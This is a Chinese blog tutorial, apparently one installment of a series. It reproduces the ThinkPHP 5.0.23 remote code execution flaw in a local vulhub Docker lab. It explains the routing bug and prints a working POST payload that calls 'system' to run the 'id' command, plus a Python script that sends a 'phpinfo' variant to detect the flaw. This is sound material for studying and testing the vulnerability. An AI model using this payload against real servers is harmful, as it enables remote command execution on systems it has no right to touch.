Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现（六十四）

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装，我们进入 ThinkPHP漏洞环境，可以 cd ThinkPHP，然后通过 ls 查看可以搭建的靶场，目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5.0.23-rce 漏洞举例，如果我们想要安装 5.0.23-rce 漏洞环境，可以 cd 到 5.0.23-rce ，然后输入以下命令启动靶场环境：

docker-compose up -d

在这里插入图片描述

然后我们在浏览器输入 https://localhost:8081就可以访问靶场环境

在这里插入图片描述

ThinkPHP5.0.23-RCE漏洞原理

ThinkPHP5.0.23-RCE漏洞是一种远程代码执行漏洞，存在于ThinkPHP框架的5.0.23版本及之前的版本中。该漏洞的原理是在TP5的路由解析过程中，由于未对用户输入进行足够的过滤，导致恶意用户可以构造特定的URL请求来执行任意的PHP代码。

具体来说，漏洞的原理如下：

在TP5中，路由解析过程中会将URL中的参数进行解析，并根据解析结果调用相应的控制器方法。
在解析URL参数时，TP5通过分析URL中的冒号（:）和斜杠（/）来确定控制器和方法的名称。
由于未对用户输入进行足够的过滤，恶意用户可以通过在URL中注入特定的代码来构造恶意请求。
恶意用户可以通过在URL中使用特殊字符（如冒号和斜杠）来改变URL参数的解析结果，从而执行任意的PHP代码。
当恶意用户构造的恶意请求被TP5解析时，解析结果可能会将恶意代码作为控制器或方法的名称，导致恶意代码被执行。

通过利用这个漏洞，攻击者可以执行任意的PHP代码，包括但不限于删除、修改、上传文件等恶意操作，进而对系统进行攻击或者获取系统敏感信息。

其POC如下所示：
url:/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP 5.0.23-RCE漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC，代码内容如下：

POST /index.php?s=captcha HTTP/1.1
Host: host:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

我们通过BP抓包发送数据，得到相应的回显。

在这里插入图片描述

ThinkPHP 5.0.23-RCE漏洞POC编写

现在我们用python编写检测ThinkPHP 5.0.23-RCE漏洞的代码，内容如下：

#!/usr/bin/env python

import requests
from urllib.parse import urljoin
# from bs4 import BeautifulSoup

def thinkphp_5023_rce(url):
    # url = url+'/index.php?s=captcha'
    # print(url)
    # payload = r'_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1'
    # headers = {
    #     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
    #     'Content-Type': 'application/x-www-form-urlencoded',
    #   }
    payload = {
        '_method':'__construct',
        'filter[]':'phpinfo',
        'method':'get',
        'server[REQUEST_METHOD]':'1'
    }
    
    target = urljoin(url,'/index.php?s=captcha')
    # print(target)
    response = requests.post(target,data=payload,verify=False)
    print(response.text)
    if 'PHP Version' in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")
        
if __name__ == '__main__':
    url = 'http://localhost:8081'
    thinkphp_5023_rce(url)